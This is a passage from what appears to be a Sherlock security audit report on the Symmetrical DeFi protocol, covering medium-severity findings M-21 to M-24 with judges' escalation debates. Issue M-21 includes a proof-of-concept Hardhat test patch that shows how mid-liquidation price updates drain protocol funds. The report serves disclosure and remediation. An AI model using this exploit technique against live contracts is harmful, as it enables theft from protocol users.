> It's not mm that the protocol "steals", it's the partyA balance after it turns solvent. In your example if pnl changed from -201 to +1, that means partyA balance becomes: 400-200+1 = +201 - so 201 is stolen by the protocol (but it has nothing to do with mm - it's just a close number in your example). If pnl of partyA changes from -201 to -199, then partyA balance becomes 400-200-199=+1 - partyA is solvent. partyBallocatedBalance += 180 + 199 = +379 liquidator will get +20 partyA balance will be set to 0 (from 400) (-400) So the balances for all parties are: +379+20-400=-1 So 1 is retained (stolen) by the protocol.

yes correct! Thanks for the correction!

So overall, the intended behavior was to make locked balances of partyA 0 if liquidation happens to partyA and credit loss/profit to partyB.

In this edge case you describe its true that if pnl changes like that the excess amount will be retained in protocol. However, I think the intended behaviour is to make partyA balance 0 all the time in partyA liquidations, maybe this excess can go to somewhere else I am not sure. Also, the fix implemented above is not addressing this issue.

In theory everything works supposed to and considering this issue is very unlikely to happen in normal operations (liquidators would call liquidatePartyA and setSymbols in same tx or right away to get both fees) makes this a low issue imo. However, it is clear that protocol team did not know about the stuck token part. On the other hand, if liquidations are supposed to make partyA's balance 0 regardless, then we can't really say that there is a "loss of funds" which makes the issue low/informational on Sherlock standards. I think sponsor team should say the last word here.

hrishibhat

Additonal Sponsor comment:

> These funds belong to PartyB. Therefore, I believe it should be considered a medium.

hrishibhat

Result: Medium Has duplicates Considering this a valid medium based on the above comments

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- mstpr: rejected

Issue M-21: Consecutive symbol price updates can be exploited to drain protocol funds

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/291

Found by

berndartmueller

Summary

Repeatedly updating the symbol prices for the symbols used in Party A's positions mid-way through a liquidation while maintaining the same Party A's UPnL and total unrealized losses leads to more profits for Party B and effectively steals funds from the protocol.

Vulnerability Detail

The `setSymbolsPrice` function in the `LiquidationFacetImpl` library is used to set the prices of symbols for Party A's positions. It is called by the liquidator, who supplies the `PriceSig memory priceSig` argument, which contains, among other values, the prices of the symbols as well as the `upnl` and `totalUnrealizedLoss` of Party A's positions.

Party A's `upnl` and `totalUnrealizedLoss` values are stored in Party A's liquidation details and enforced to remain the same for consecutive calls to `setSymbolsPrice` via the `require` statement in lines 90-95.

However, as long as those two values remain the same, the liquidator can set the prices of the symbols to the current market prices (fetched by the Muon app). If a liquidator liquidates Party A's open positions in multiple calls to `liquidatePositionsPartyA` and updates symbol prices in between, Party B potentially receives more profits than they should have.

The git diff below contains a test case to demonstrate the following scenario:

Given the following symbols:

1. `BTCUSDT`
2. `AAVEUSDT`

For simplicity, we assume trading fees are 0.

Party A's allocated balance: `100e18 USDT`

Party A has two open positions with Party B:

() ID	Symbol	Order Type	Position Type	Quantity	Price	Total Value	CVA	LF
()								
1	BTCUSDT	LIMIT	LONG	100e18	1e18	100e18	25e18	25e18
2	AAVEUSDT	LIMIT	LONG	100e18	1e18	100e18	25e18	25e18
()								

Party A's available balance: 100e18 - 100e18 = 0 USDT

Now, the price of `BTCUSDT` drops by 40% to `0.6e18 USDT`. Party A's `upnl` and `totalUnrealizedLoss` are now `-40e18 USDT` and `-40e18 USDT`, respectively.

Party A is insolvent and gets liquidated.

The liquidator calls `setSymbolsPrice` for both symbols, setting the price of `BTCUSDT` to `0.6e18 USDT` and the price of `AAVEUSDT` to `1e18 USDT`. The `liquidationDetails` of Party A are as follows:

- `liquidationType`: `LiquidationType.NORMAL`
- `upnl`: `-40e18 USDT`
- `totalUnrealizedLoss`: `-40e18 USDT`
- `deficit`: 0
- `liquidationFee`: `50e18 - 40e18 = 10e18 USDT`

The liquidator first liquidates position 1 -> Party B receives `40e18 USDT` + `25e18 USDT` (CVA) = `65e18 USDT`

Now, due to a volatile market, the price of `AAVEUSDT` drops by 40% to `0.6e18 USDT`. The liquidator calls `setSymbolsPrice` again, setting the price of `AAVEUSDT` to `0.6e18 USDT`. `upnl` and `totalUnrealizedLoss` remain the same. Thus the symbol prices can be updated.

The liquidator liquidates position 2 -> Party B receives `40e18 USDT` + `25e18 USDT` (CVA) = `65e18 USDT`

Party B received in total `65e18 + 65e18 = 130e18 USDT`, which is `30e18` USDT more than Party A's initially locked balances. Those funds are effectively stolen from the protocol and bad debt.

Conversely, if both positions had been liquidated in the first call without updating the symbol prices in between, Party B would have received `40e18 + 25e18 = 65e18 USDT`, which Party A's locked balances covered.

```
diff --git a/symmio-core/test/Initialize.fixture.ts
↪  b/symmio-core/test/Initialize.fixture.ts
index 2df1e6f..cfe81c0 100644
```

```
--- a/symmio-core/test/Initialize.fixture.ts
+++ b/symmio-core/test/Initialize.fixture.ts
@@ -45,7 +45,11 @@ export async function initializeFixture():
 ↪  Promise<RunContext> {

 await context.controlFacet
   .connect(context.signers.admin)
-    .addSymbol("BTCUSDT", decimal(5), decimal(1, 16), decimal(1, 16));
+    .addSymbol("BTCUSDT", decimal(5), decimal(1, 16), decimal(0));
+
+    await context.controlFacet
+    .connect(context.signers.admin)
+    .addSymbol("AAVEUSDT", decimal(5), decimal(1, 16), decimal(0));

 await context.controlFacet.connect(context.signers.admin).setPendingQuotesValid
 ↪  Length(10);
 await context.controlFacet.connect(context.signers.admin).setLiquidatorShare(de
 ↪  cimal(1, 17));
diff --git a/symmio-core/test/LiquidationFacet.behavior.ts
 ↪  b/symmio-core/test/LiquidationFacet.behavior.ts
index 2e06b92..08e40d2 100644
--- a/symmio-core/test/LiquidationFacet.behavior.ts
+++ b/symmio-core/test/LiquidationFacet.behavior.ts
@@ -7,8 +7,10 @@ import { Hedger } from "./models/Hedger";
import { RunContext } from "./models/RunContext";
import { BalanceInfo, User } from "./models/User";
import { decimal, getTotalLockedValuesForQuoteIds, getTradingFeeForQuotes,
 ↪  liquidatePartyA } from "./utils/Common";
-import { getDummySingleUpnlSig } from "./utils/SignatureUtils";
+import { getDummyPriceSig, getDummySingleUpnlSig } from
 ↪  "./utils/SignatureUtils";
import hre from "hardhat";
+import { limitQuoteRequestBuilder } from "./models/requestModels/QuoteRequest";
+import { limitOpenRequestBuilder } from "./models/requestModels/OpenRequest";

export function shouldBehaveLikeLiquidationFacet(): void {
 beforeEach(async function() {
@@ -16,7 +18,7 @@ export function shouldBehaveLikeLiquidationFacet(): void {

   this.user = new User(this.context, this.context.signers.user);
   await this.user.setup();
-    await this.user.setBalances(decimal(2000), decimal(1000), decimal(500));
+    await this.user.setBalances(decimal(2000), decimal(100), decimal(100));

   this.user2 = new User(this.context, this.context.signers.user2);
   await this.user2.setup();
@@ -39,20 +41,26 @@ export function shouldBehaveLikeLiquidationFacet(): void {
   await this.hedger.openPosition(1);
   // Quote2 -> locked
-    await this.user.sendQuote();
+    await this.user.sendQuote(
+      limitQuoteRequestBuilder()
+        .symbolId(2)
+        .build()
+    );
   await this.hedger.lockQuote(2);
+    await this.hedger.openPosition(2,
+      limitOpenRequestBuilder().price(decimal(1)).build());

   // Quote3 -> sent
-    await this.user.sendQuote();
+    // await this.user.sendQuote();

   // Quote4 -> user2 -> opened
-    await this.user2.sendQuote();
-    await this.hedger.lockQuote(4);
-    await this.hedger.openPosition(4);
+    // await this.user2.sendQuote();
+    // await this.hedger.lockQuote(4);
+    // await this.hedger.openPosition(4);

   // Quote5 -> locked
-    await this.user.sendQuote();
-    await this.hedger.lockQuote(5);
+    // await this.user.sendQuote();
+    // await this.hedger.lockQuote(5);
 });

 describe("Liquidate PartyA", async function() {
@@ -116,16 +124,12 @@ export function shouldBehaveLikeLiquidationFacet(): void {
   describe("Liquidate Positions", async function() {
     beforeEach(async function() {
       const context: RunContext = this.context;
-        await liquidatePartyA(
-          context,
-          context.signers.user.getAddress(),
-        );
-        await liquidatePartyA(
-          context,
-          context.signers.user2.getAddress(),
-          context.signers.liquidator,
-          decimal(-475),
-        );
+        // await liquidatePartyA(
+        //   context,
+        //   context.signers.user2.getAddress(),
+        //   context.signers.liquidator,
+        //   decimal(-475),
+        // );
     });

     it("Should fail on invalid state", async function() {
@@ -179,6 +183,72 @@ export function shouldBehaveLikeLiquidationFacet(): void {
       let balanceInfoOfLiquidator = await this.liquidator.getBalanceInfo();
       expect(balanceInfoOfLiquidator.allocatedBalances).to.be.equal(decimal(1));
     });
+
+      it.only("Should maliciously liquidate positions", async function() {
+        const context: RunContext = this.context;
+        let user = context.signers.user.getAddress();
+        let hedger = context.signers.hedger.getAddress();
+
+        expect(await
↪   context.viewFacet.allocatedBalanceOfPartyA(user)).to.be.equal(
+          decimal(100),
+        );
+
+        await liquidatePartyA(
+          context,
+          context.signers.user.getAddress(),
+        );
+
+        await context.liquidationFacet
+          .connect(context.signers.liquidator)
+          .liquidatePendingPositionsPartyA(user);
+
+        expect(await context.viewFacet.allocatedBalanceOfPartyB(hedger,
↪   user)).to.be.equal(
+          decimal(240),
+        );
+
+        await context.liquidationFacet
+          .connect(context.signers.liquidator)
+          .liquidatePositionsPartyA(user, [1]);
+
+          expect((await context.viewFacet.isPartyALiquidated(user))).to.be.true;
+
+        expect((await context.viewFacet.getQuote(1)).quoteStatus).to.be.equal(
+          QuoteStatus.LIQUIDATED,
+        );
+
+        expect(await context.viewFacet.allocatedBalanceOfPartyB(hedger,
↪   user)).to.be.equal(
+          decimal(240 + 65), // @audit-info 65 profit: 40 profit from position
↪  + 25 CVA
+        );
+
+        expect(await
↪  context.viewFacet.allocatedBalanceOfPartyA(user)).to.be.equal(
+          decimal(100), // @audit-info remains unchanged until the liquidation
↪  process is complete
+        );
+
+        await context.liquidationFacet
+          .connect(context.signers.liquidator)
+          .setSymbolsPrice(
+            user,
+            await getDummyPriceSig([2], [decimal(6, 17)], decimal(-40),
↪  decimal(-40)), // @audit-info price of symbol #2 dropped by 40% (6e17) ->
↪  same UPnL and total loss
+          );
+
+        await context.liquidationFacet
+          .connect(context.signers.liquidator)
+          .liquidatePositionsPartyA(user, [2]);
+
+        expect((await context.viewFacet.getQuote(2)).quoteStatus).to.be.equal(
+          QuoteStatus.LIQUIDATED,
+        );
+
+        expect((await context.viewFacet.isPartyALiquidated(user))).to.be.false;
+
+        expect(await context.viewFacet.allocatedBalanceOfPartyB(hedger,
↪  user)).to.be.equal(
+          decimal(240 + 65 + 65), // @audit-info 130 profit in total: 80 profit
↪  from positions + 50 CVA
+        );
+
+        expect(await
↪  context.viewFacet.allocatedBalanceOfPartyA(user)).to.be.equal(
+          decimal(0),
+        );
+      });
   });
 });

diff --git a/symmio-core/test/models/requestModels/QuoteRequest.ts
↪  b/symmio-core/test/models/requestModels/QuoteRequest.ts
index 833e181..82d45b9 100644
--- a/symmio-core/test/models/requestModels/QuoteRequest.ts
+++ b/symmio-core/test/models/requestModels/QuoteRequest.ts
```

```
@@ -29,9 +29,9 @@ const limitDefaultQuoteRequest: QuoteRequest = {
 orderType: OrderType.LIMIT,
 price: decimal(1),
 quantity: decimal(100),
-  cva: decimal(22),
-  mm: decimal(75),
-  lf: decimal(3),
+  cva: decimal(25),
+  mm: decimal(0),
+  lf: decimal(25),
 maxInterestRate: 0,
 deadline: getBlockTimestamp(500),
 upnlSig: getDummySingleUpnlAndPriceSig(decimal(1)),
diff --git a/symmio-core/test/utils/Common.ts b/symmio-core/test/utils/Common.ts
index ed0c3c9..69f7ed5 100644
--- a/symmio-core/test/utils/Common.ts
+++ b/symmio-core/test/utils/Common.ts
@@ -119,10 +119,10 @@ export async function liquidatePartyA(
 context: RunContext,
 liquidatedUser: Promise<string>,
 liquidator: SignerWithAddress = context.signers.liquidator,
-  upnl: BigNumberish = decimal(-473),
-  totalUnrealizedLoss: BigNumberish = 0,
-  symbolIds: BigNumberish[] = [1],
-  prices: BigNumberish[] = [decimal(1)],
+  upnl: BigNumberish = decimal(-40),
+  totalUnrealizedLoss: BigNumberish = decimal(-40),
+  symbolIds: BigNumberish[] = [1, 2],
+  prices: BigNumberish[] = [decimal(6, 17), decimal(1)],
) {
 await context.liquidationFacet
   .connect(liquidator)
```

How to run this test case:

Save git diff to a file named `exploit-liquidation.patch` and run with

```
git apply exploit-liquidation.patch
npx hardhat test
```

Impact

A malicious liquidator can cooperate with Party B and by exploiting this issue during a volatile market, can cause Party B to receive more funds (profits, due to being the counterparty to Party A which faces losses) than it should and steal funds from the protocol.

Code Snippet

contracts/facets/liquidation/LiquidationFacetImpl.sol#L90-L95

```
34: function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {
35:     MAStorage.Layout storage maLayout = MAStorage.layout();
36:     AccountStorage.Layout storage accountLayout = AccountStorage.layout();
37:
38:     LibMuon.verifyPrices(priceSig, partyA);
39:     require(maLayout.liquidationStatus[partyA], "LiquidationFacet: PartyA is
 ↪  solvent");
40:     require(
41:         priceSig.timestamp <=
42:             maLayout.liquidationTimestamp[partyA] +
 ↪  maLayout.liquidationTimeout,
43:         "LiquidationFacet: Expired signature"
44:     );
45:     for (uint256 index = 0; index < priceSig.symbolIds.length; index++) {
46:         accountLayout.symbolsPrices[partyA][priceSig.symbolIds[index]] =
 ↪  Price(
47:             priceSig.prices[index],
48:             maLayout.liquidationTimestamp[partyA]
49:         );
50:     }
51:
52:     int256 availableBalance =
 ↪  LibAccount.partyAAvailableBalanceForLiquidation(
53:         priceSig.upnl,
54:         partyA
55:     );
56:     if (accountLayout.liquidationDetails[partyA].liquidationType ==
 ↪  LiquidationType.NONE) {
57:         accountLayout.liquidationDetails[partyA] = LiquidationDetail({
58:             liquidationType: LiquidationType.NONE,
59:             upnl: priceSig.upnl,
60:             totalUnrealizedLoss: priceSig.totalUnrealizedLoss,
61:             deficit: 0,
62:             liquidationFee: 0
63:         });
...     // [...]
89:     } else {
90: @>      require(
91: @>          accountLayout.liquidationDetails[partyA].upnl == priceSig.upnl &&
92: @>              accountLayout.liquidationDetails[partyA].totalUnrealizedLoss
 ↪  ==
93: @>              priceSig.totalUnrealizedLoss,
94: @>          "LiquidationFacet: Invalid upnl sig"
95: @>      );
```

```
    }
}
```

Tool used

Manual Review

Recommendation

Consider preventing the liquidator from updating symbol prices mid-way of a liquidation process.

Or, alternatively, store the number of Party A's open positions in the `liquidationDetails` and only allow updating the symbol prices if the current number of open positions is still the same, effectively preventing the liquidator from updating the symbol prices once a position has been liquidated.

Discussion

MoonKnightDev

The potential exploit you've mentioned hinges on the unlikely scenario that during the liquidation process, a party can provide a signature that exactly replicates the previous unrealized PnL and total unrealized loss. This is theoretically possible but practically near-impossible. Hence, we categorize this issue as medium risk.

ctf-sec

Comment from senior watson:

The risk should be medium as it requires a number of conditions must be aligned for the issue to occur:

1) The market must be volatile
2) For this attack to succeed, the upnl and totalUnrealizedLoss of the second price update must be the same as the first one. Even if the price moves, it is difficult to obtain the same upnl and totalUnrealizedLoss for a second time from the oracle as it has to be accurate to the smaller decimal (1 wei).
3) PartyA and PartyB must conspire. PartyB has to be whitelisted by the protocol team.

ctf-sec

Adjusted the risk to medium based on the comments above

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/22

Issue M-22: Party B liquidation can expire, causing the liquidation to be stuck

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/293

Found by

Ch_301, Kose, Yuki, berndartmueller, bin2chen, cergyk, josephdara, libratus, panprog, shaka, simon135, sinarette, volodya, xiaoming90

Summary

The liquidation of Party B can get stuck if the liquidation timeout is reached and the positions are not liquidated within the timeout period.

Vulnerability Detail

The insolvent Party B's positions are liquidated by the liquidator via the `liquidatePositionsPartyB` function in the `LiquidationFacetImpl` library. This function requires supplying the `QuotePriceSig memory priceSig` parameter, which includes a timestamp and a signature from the Muon app. The signature is verified to ensure the `priceSig` values were actually fetched by the trusted Muon app.

The signature is expected to be created within the liquidation timeout period. This is verified through the validation of the `priceSig.timestamp`, as seen in lines 318-322. Failure to do so, i.e., providing a signature that's created beyond the liquidation timeout, results in the signature being treated as expired, thereby causing the function to revert and rendering the liquidation of Party B stuck.

Impact

Party A's locked balance is not decremented by the liquidatable position. Party B's liquidations status is stuck and remains set to `true`, resulting in the `notLiquidated` and `notLiquidatedPartyB` modifiers to revert.

Code Snippet

contracts/facets/liquidation/LiquidationFacetImpl.sol#L318-L322

```
308: function liquidatePositionsPartyB(
309:     address partyB,
310:     address partyA,
311:     QuotePriceSig memory priceSig
312: ) internal {
    AccountStorage.Layout storage accountLayout = AccountStorage.layout();
    MAStorage.Layout storage maLayout = MAStorage.layout();
    QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();

    LibMuon.verifyQuotePrices(priceSig);
@>  require(
@>      priceSig.timestamp <=
@>          maLayout.partyBLiquidationTimestamp[partyB][partyA] + maLayout.liquidationTimeout,
@>      "LiquidationFacet: Expired signature"
@>  );
    require(
        maLayout.partyBLiquidationStatus[partyB][partyA],
        "LiquidationFacet: PartyB is solvent"
    );
    require(
        block.timestamp <= priceSig.timestamp + maLayout.liquidationTimeout,
        "LiquidationFacet: Expired price sig"
    );
```

Tool used

Manual Review

Recommendation

Consider adding functionality to reset the liquidation status (i.e., `maLayout.partyBLiquidationStatus[partyB][partyA] = false` and `maLayout.partyBLiquidationTimestamp[partyB][partyA] = 0`) of Party B once the liquidation timeout is reached.

Discussion

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/9

Issue M-23: Fee collector can grief the protocol by withdrawing trading fees that could still need to be returned to Party A

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/299

Found by

AkshaySrivastav, Ch_301, Lilyjjo, Ruhum, berndartmueller, bitsurfer, libratus, simon135

Summary

The fee collector can grief the SYMM protocol by withdrawing the collected trading fees, resulting in an underflow error when attempting to return trading fees to Party A due to the lack of available funds.

Vulnerability Detail

Trading fees are collected whenever Party A creates a new quote via the `sendQuote` function in the `PartyAFacetImpl` library. The accumulated fees are accounted for in the `accountLayout.balances[GlobalAppStorage.layout().feeCollector]` storage variable, the same `balances` mapping that is also used to account for the balances for Party A and Party B. The fee collector can withdraw the received trading fees at any time with the `deposit` function in the `AccountFacet` contract.

However, as trading fees are potentially returned to Party A, for example, when a quote gets canceled or expires, deducting the returned trading fees from the fee collector's balance can potentially revert with an underflow error if the balance is insufficient.

Impact

If insufficient funds are available in the fee collector's balance (`accountLayout.balances[GlobalAppStorage.layout().feeCollector]`), attempting to return trading fees to Party A will revert with an underflow error. This will grief and DoS the following functions until the fee collector's balance is sufficiently replenished:

- `PartyAFacetImpl.requestToCancelQuote` in line 136
- `PartyAFacetImpl.forceCancelQuote` in line 227
- `PartyBFacetImpl.acceptCancelRequest` in line 70

- `PartyBFacetImpl.openPosition` in line 231
- `LibQuote.expireQuote` in line 241

Code Snippet

contracts/libraries/LibQuote.sol#L139

```
135: function returnTradingFee(uint256 quoteId) internal {
136:     AccountStorage.Layout storage accountLayout = AccountStorage.layout();
137:     uint256 tradingFee = LibQuote.getTradingFee(quoteId);
138:     accountLayout.allocatedBalances[QuoteStorage.layout().quotes[quoteId].partyA] += tradingFee;
139:     accountLayout.balances[GlobalAppStorage.layout().feeCollector] -= tradingFee; // @audit-issue potentially reverts with an underflow error
140: }
```

Tool used

Manual Review

Recommendation

Consider accounting the received trading fees in separate variables and keep track of the fees which can still be returned to Party A and only allow withdrawing the received fees that are non-returnable.

Discussion

securitygrid

Escalate for 10 usdc This is not valid M. This is not permanent, only temporary. Insufficient funds are available in the fee collector's balance, which occurs when the collector withdraws most of the balance. fee collector should be from protocol. so this is an administrator error.

sherlock-admin2

> Escalate for 10 usdc This is not valid M. This is not permanent, only temporary. Insufficient funds are available in the fee collector's balance, which occurs when the collector withdraws most of the balance. fee collector should be from protocol. so this is an administrator error.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

CodingNameKiki

Should be invalid, admins are trusted authors.

berndartmueller

The fee collector (`feeCollector`) is not necessarily the admin of the protocol (i.e., the fee collector address is not controlled by the admin). Thus the medium severity.

mstpr

Escalate

fee collector address is set by the admin role which admin is trusted hence the fee collector should also be trusted.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/control/ControlFacet.sol#L235-L240

sherlock-admin2

> Escalate
>
> fee collector address is set by the admin role which admin is trusted hence the fee collector should also be trusted.
>
> https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/control/ControlFacet.sol#L235-L240

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

JeffCX

> Escalate
>
> fee collector address is set by the admin role which admin is trusted hence the fee collector should also be trusted.
>
> https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/control/ControlFacet.sol#L235-L240

Agree with this escalation

```
function setFeeCollector(
    address feeCollector
) external onlyRole(LibAccessibility.DEFAULT_ADMIN_ROLE) {
    emit SetFeeCollector(GlobalAppStorage.layout().feeCollector, feeCollector);
    GlobalAppStorage.layout().feeCollector = feeCollector;
}
```

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/8

hrishibhat

Result: Medium Has duplicates After further review and internal discussion, the ownership of the fee collector is not relevant in the context of this report. The reason is that there is a logic error in the code, and it must be fixed. So when the users request to open a position, their trading fee is temporarily locked/escrowed in the contract under the fee collector account. If the users decide to cancel their pending position later, the trading fee will be refunded to the users. The main bug is that if the fee collector collects all the fees, there won't be any locked funds left in the fee collector account to refund the users if they cancel the position. The fees collected must be regularly distributed to the stakers. The issue here is all the fees pending/settled is together under once account. So although the fee collector can be considered TRUSTED, the fee collector can still make the protocol malfunction by behaving in a trusted way, by claiming the fees. Considering this a valid medium.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- securitygrid: rejected
- mstpr: rejected

Issue M-24: Liquidators can prevent users from making their positions healthy during an unpause

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/336

Found by

AkshaySrivastav, Kose

Summary

The Symmetrical protocol has various paused states in which different operations are paused. The protocol operations can be unpaused by privileged accounts. But when this unpause happens the liquidators can frontrun and liquidate user positions before those users get a chance to make their positions healthy.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/control/ControlFacet.sol#L242-L295

Vulnerability Detail

The privileged addresses can pause the symmetrical protocol fully/partially using the pausability functions in ControlFacet. Once the protocol is paused all these operations cannot be done by users:

- deposit
- withdraw
- allocate
- deallocate
- sendQuote
- lockQuote
- openPositions
- liquidations
- etc

Though, real prices from oracles will surely move up or down during this paused period. If the oracle prices go down, the users won't be allowed to allocate more collateral to their positions or close their positions. Hence their positions will get under-collateralized (based upon real prices).

Once the protocol is unpaused the liquidators can front-run most users and liquidate their positions. Most users will not get a chance to make their position healthy.

This results in loss of funds for the users.

Ref: https://github.com/sherlock-audit/2023-03-notional-judging/issues/203

Impact

By front-running any collateral allocation or position closure of a legitimate user which became under-collateralized during the paused state, the liquidator can unfairly liquidate user positions and collect liquidation profit as soon as the protocol is unpaused. This causes loss of funds to the user.

Also, on unpause, it is unlikely that any human users will be able to secure their positions before MEV/liquidation bots capture the available profit. Hence the loss is certain.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/control/ControlFacet.sol#L242-L295

Tool used

Manual Review

Recommendation

Consider adding a grace period after unpausing during which liquidation remains blocked to allow users to avoid unfair liquidation by closing their positions or allocating additional collateral. The protocol team can also think of any other way which mitigates the unfair liquidations of users.

Discussion

MoonKnightDev

These pauses are designed for emergency scenarios. When we do initiate a pause, we should formulate specific policies before it's unpaused. As per your example, one strategy could be to temporarily pause liquidations, providing users with an opportunity to distance themselves from a potential liquidation event. This is just one example; any policy can be considered. Therefore, we don't view this as a bug, rather it is an integral part of our system.

akshaysrivastav

Escalate for 10 USDC

I think this issue should be considered as valid. As per the sponsor comment above it is evident that the current protocol implementation does not contain any safeguard mechanism against this issue and an additional code change (temporary policies) will be needed to prevent users from the loss of funds due to the issue.

The report clearly shows how a protocol owner action (pause) will result in unfair liquidations causing loss of funds to users.

For reference, similar issues were considered valid in the recent Notional V3 and Blueberry contests and was accepted by Sherlock. Maintaining a consistent valid/invalid classification standard will be ideal here.

sherlock-admin2

> Escalate for 10 USDC
>
> I think this issue should be considered as valid. As per the sponsor comment above it is evident that the current protocol implementation does not contain any safeguard mechanism against this issue and an additional code change (temporary policies) will be needed to prevent users from the loss of funds due to the issue.
>
> The report clearly shows how a protocol owner action (pause) will result in unfair liquidations causing loss of funds to users.
>
> For reference, similar issues were considered valid in the recent Notional V3 and Blueberry contests and was accepted by Sherlock. Maintaining a consistent valid/invalid classification standard will be ideal here.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

ctf-sec

> These pauses are designed for emergency scenarios. When we do initiate a pause, we should formulate specific policies before it's unpaused. As per your example, one strategy could be to temporarily pause liquidations, providing users with an opportunity to distance themselves from a potential liquidation event. This is just one example; any policy can be considered. Therefore, we don't view this as a bug, rather it is an integral part of our system.

I have to side with sponsor on this one

there is no way to prevent frontrunning pause or unpause even adding grace period..

In fact, there are a lot of similar finding in recent contest about unpause / pause,

they just end up "won't fix"

https://github.com/sherlock-audit/2023-03-notional-judging/issues/203

The blueberry issue talks about repay is paused when liquidation is active, which is not the same as frontrunning pause or unpause

akshaysrivastav

Hey @ctf-sec I totally respect your decision but just want to state my points in a much clearer way as there seems to be a misunderstanding.

- The issue is not about frontrunning the admin's pause/unpause txn,
- The issue is about, when admin pauses the operations the users are prevented from changing their positions, these positions can become unheathy during paused state, and as soon as admin unpauses the protocol, mev actors can liquidate the users before those users get a chance to save their positions. In short, a protocol owner action (pause) will result in unfair liquidations for users causing loss of funds.
- As the sponsors already confirmed that they will need to introduce temporary policies to mitigate this issue. This confirms two things:
  - The bug is real, loss of funds is real, and new code changes will be needed for mitigation.
  - Since sponsors will be forced to implement new policies, this issue will not technically end up in the "won't fix" category.
- Agree on blueberry, actual similar issues to this one are NotionalV3:203 and Perennial:190, both were considered as valid by Sherlock.

ctf-sec

Hi Akshay,

I think you are trying to refer to this issue?

https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/117

looks like exact the same issue,

I think a valid medium is ok

hrishibhat

Result: Medium Unique Considering this a valid medium based on historical decisions and the issue is still valid from smart contract POV.

Also, however, given that this clearly can be design decision for some protocols, agree that there should be a better rule around these protocol-pausing situations.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- akshaysrivastav: accepted

hrishibhat

Additionally, #281 can be a valid duplicate of this issue